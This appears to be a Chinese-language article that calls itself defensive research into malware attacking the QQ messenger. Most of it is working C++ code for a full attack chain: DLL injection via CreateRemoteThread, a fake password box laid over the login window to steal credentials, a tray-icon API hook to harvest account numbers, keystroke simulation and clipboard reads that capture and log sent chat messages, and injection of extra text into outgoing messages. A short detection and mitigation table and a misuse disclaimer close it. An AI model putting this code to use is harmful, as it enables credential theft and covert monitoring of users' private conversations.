嚴正聲明:本文純屬技術研究與安全防禦視角撰寫,展示惡意軟體常用技術 (Hook、DLL 注入、記憶體掃描) 以便防護人員理解威脅模型。**嚴禁用於非法竊取帳號、監控聊天、植入廣告等惡意行為**,違者自負法律責任。
| 目標 | 傳統方法失效原因 | 本文繞過技術 |
|---|---|---|
| 登入密碼 | QQ 2007+ 密碼框禁用 WM_GETTEXT/鍵盤鉤子 | 子類別化登入視窗 → 覆蓋假密碼框 → 攔截 WM_COMMAND/WM_KEYDOWN |
| 本機 QQ 號/暱稱 | 記憶體位址隨版本變動 | Hook Shell_NotifyIcon 攔截托盤提示文字 |
| 發送聊天內容 | 輸入框為自繪控件,無法 GetWindowText | Hook 聊天視窗 → 攔截發送訊息 (Msg 711) → 模擬 Ctrl+A/C 讀剪貼板 |
| 接收聊天內容 | 同樣自繪 | 直接 WM_GETTEXT 讀取顯示區 (未加密) |
| 去廣告/植入尾巴 | 廣告子視窗動態建立 | EnumChildWindows 定位廣告框 → HideWindow + 自繪替換 / 發送前植入文字再 PostMessage 發送 |
BOOL InjectDll(DWORD pid, const wchar_t* dllPath) {
HANDLE hProc = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE, FALSE, pid);
LPVOID pRemotePath = VirtualAllocEx(hProc, nullptr, (wcslen(dllPath)+1)*sizeof(wchar_t), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, pRemotePath, dllPath, (wcslen(dllPath)+1)*sizeof(wchar_t), nullptr);
HANDLE hThread = CreateRemoteThread(hProc, nullptr, 0,
(LPTHREAD_START_ROUTINE)LoadLibraryW, pRemotePath, 0, nullptr);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProc, pRemotePath, 0, MEM_RELEASE);
CloseHandle(hThread); CloseHandle(hProc);
return TRUE;
}
優於全域鉤子:針對單一進程、無效能影響、可動態卸載。
WNDPROC g_oldLoginProc = nullptr;
LRESULT CALLBACK HookLoginProc(HWND hWnd, UINT msg, WPARAM wp, LPARAM lp) {
if (msg == WM_COMMAND && wp == BTN_LOGIN) {
// 取得假密碼框文字 → 填入真密碼框 → 發送 WM_KEYDOWN(VK_RETURN)
}
return CallWindowProc(g_oldLoginProc, hWnd, msg, wp, lp);
}
// 安裝
g_oldLoginProc = (WNDPROC)SetWindowLongPtr(hLoginWnd, GWLP_WNDPROC, (LONG_PTR)HookLoginProc);
EnumChildWindows 找真密碼框 (Class: Edit, Style: ES_PASSWORD)。CreateWindow(WC_EDIT, ..., ES_PASSWORD|WS_CHILD|WS_VISIBLE, ...) 建立假框,Z-Order 置頂。WM_MOVING (同步移動)、WM_SYSCOMMAND (最小化/還原同步顯隱)、WM_SETFOCUS (強制焦點轉假框)。
typedef BOOL (WINAPI* PFN_Shell_NotifyIcon)(DWORD, PNOTIFYICONDATA);
PFN_Shell_NotifyIcon g_oldShellNotify = nullptr;
BOOL WINAPI MyShellNotify(DWORD msg, PNOTIFYICONDATA pnid) {
if (msg == NIM_ADD && pnid->szTip[0]) {
// 解析 pnid->szTip 如 "QQ: 12345678 (暱稱)"
ParseQQInfo(pnid->szTip);
}
return g_oldShellNotify(msg, pnid);
}
// IAT Hook 或 Inline Hook 安裝
若 QQ 已啟動未觸發 NIM_ADD:發送 TaskbarCreated 訊息給 Explorer 視窗觸發重建托盤圖標。
// 發送訊息攔截 (Msg 711 為自訂發送消息)
LRESULT CALLBACK HookChatProc(HWND hWnd, UINT msg, WPARAM wp, LPARAM lp) {
if (msg == 711) { // 使用者按下發送
PostThreadMessage(g_workerThread, WM_USER_GET_SEND_TEXT, 0, (LPARAM)hWnd);
return 0; // 暫時攔截
}
return CallWindowProc(g_oldChatProc, hWnd, msg, wp, lp);
}
// 工作執行緒:模擬鍵盤讀取發送框內容
void GetSendText(HWND hChatWnd) {
HWND hEdit = FindSendEdit(hChatWnd); // 子視窗查找
SetForegroundWindow(hChatWnd); SetFocus(hEdit);
keybd_event(VK_CONTROL, 0, 0, 0); keybd_event('A', 0, 0, 0); // Ctrl+A
keybd_event('A', 0, KEYEVENTF_KEYUP, 0); keybd_event(VK_CONTROL, 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_CONTROL, 0, 0, 0); keybd_event('C', 0, 0, 0); // Ctrl+C
keybd_event('C', 0, KEYEVENTF_KEYUP, 0); keybd_event(VK_CONTROL, 0, KEYEVENTF_KEYUP, 0);
Sleep(50);
std::wstring text = GetClipboardText();
SaveChatLog(true, text); // 存入本地資料庫
// 植入尾巴
if (!g_tail.empty()) {
SetClipboardText(g_tail);
keybd_event(VK_CONTROL, 0, 0, 0); keybd_event('V', 0, 0, 0); keybd_event('V', 0, KEYEVENTF_KEYUP, 0); keybd_event(VK_CONTROL, 0, KEYEVENTF_KEYUP, 0);
PostMessage(hChatWnd, WM_COMMAND, BTN_SEND, 0); // 再次觸發發送
} else {
PostMessage(hChatWnd, WM_COMMAND, BTN_SEND, 0); // 直接放行原發送
}
}
// 子類別化聊天視窗,處理 WM_ERASEBKGND / WM_PAINT
LRESULT CALLBACK HookChatPaint(HWND hWnd, UINT msg, WPARAM wp, LPARAM lp) {
if (msg == WM_ERASEBKGND || msg == WM_PAINT) {
HDC hdc = (HDC)wp;
RECT rcAd = {248, 22, 490, 62}; // 廣告區座標 (需動態 EnumChildWindows 確認)
if (msg == WM_ERASEBKGND) {
FillRect(hdc, &rcAd, CreateSolidBrush(RGB(114,201,252)));
}
DrawText(hdc, L"廣告已屏蔽 — by Defender", -1, &rcAd, DT_CENTER|DT_VCENTER|DT_SINGLELINE);
return 1; // 已處理背景
}
return CallWindowProc(g_oldChatProc, hWnd, msg, wp, lp);
}
| 攻擊行為 | 偵測手段 | 防護建議 |
|---|---|---|
| CreateRemoteThread 注入 | EDR 監控 OpenProcess+VM_WRITE+CreateRemoteThread 組合 | 啟用 PPL (Protected Process Light)、CFG、ACG |
| SetWindowLongPtr 子類別化 | 掃描 GWLP_WNDPROC 是否指向非模組範圍 | UIPI (User Interface Privilege Isolation) 阻止低完整性進程 Hook 高完整性視窗 |
| IAT/Inline Hook Shell_NotifyIcon | 模組完整性驗證 (CRC/簽章)、API 解析器檢查 | 啟用 Arbitrary Code Guard (ACG)、Control Flow Guard (CFG) |
| 模擬鍵盤 (keybd_event/SendInput) | 檢查輸入事件旗標 (LLKHF_INJECTED) | 啟用 UIPI、監控低頻大量鍵盤模擬 |
| 剪貼板竊取/植入 | 剪貼板存取審計 | 敏感輸入框設 ES_PASSWORD 禁止複製、剪貼板歷史加密 |
本文完整還原了惡意軟體對 QQ 進行「密碼竊取、聊天監控、廣告劫持、尾巴植入」的完整攻擊鏈:**遠端注入 → 視窗 Hook → 假控件覆蓋 → 系統 API Hook → 模擬輸入 → 剪貼板操作 → 訊息重發**。理解這些技術細節,才能建立有效的端點防護策略 (EDR 行為分析、HIPS 規則、瀏覽器/通訊軟體自身加固)。**請勿將此技術用於任何未經授權的存取或監控行為。**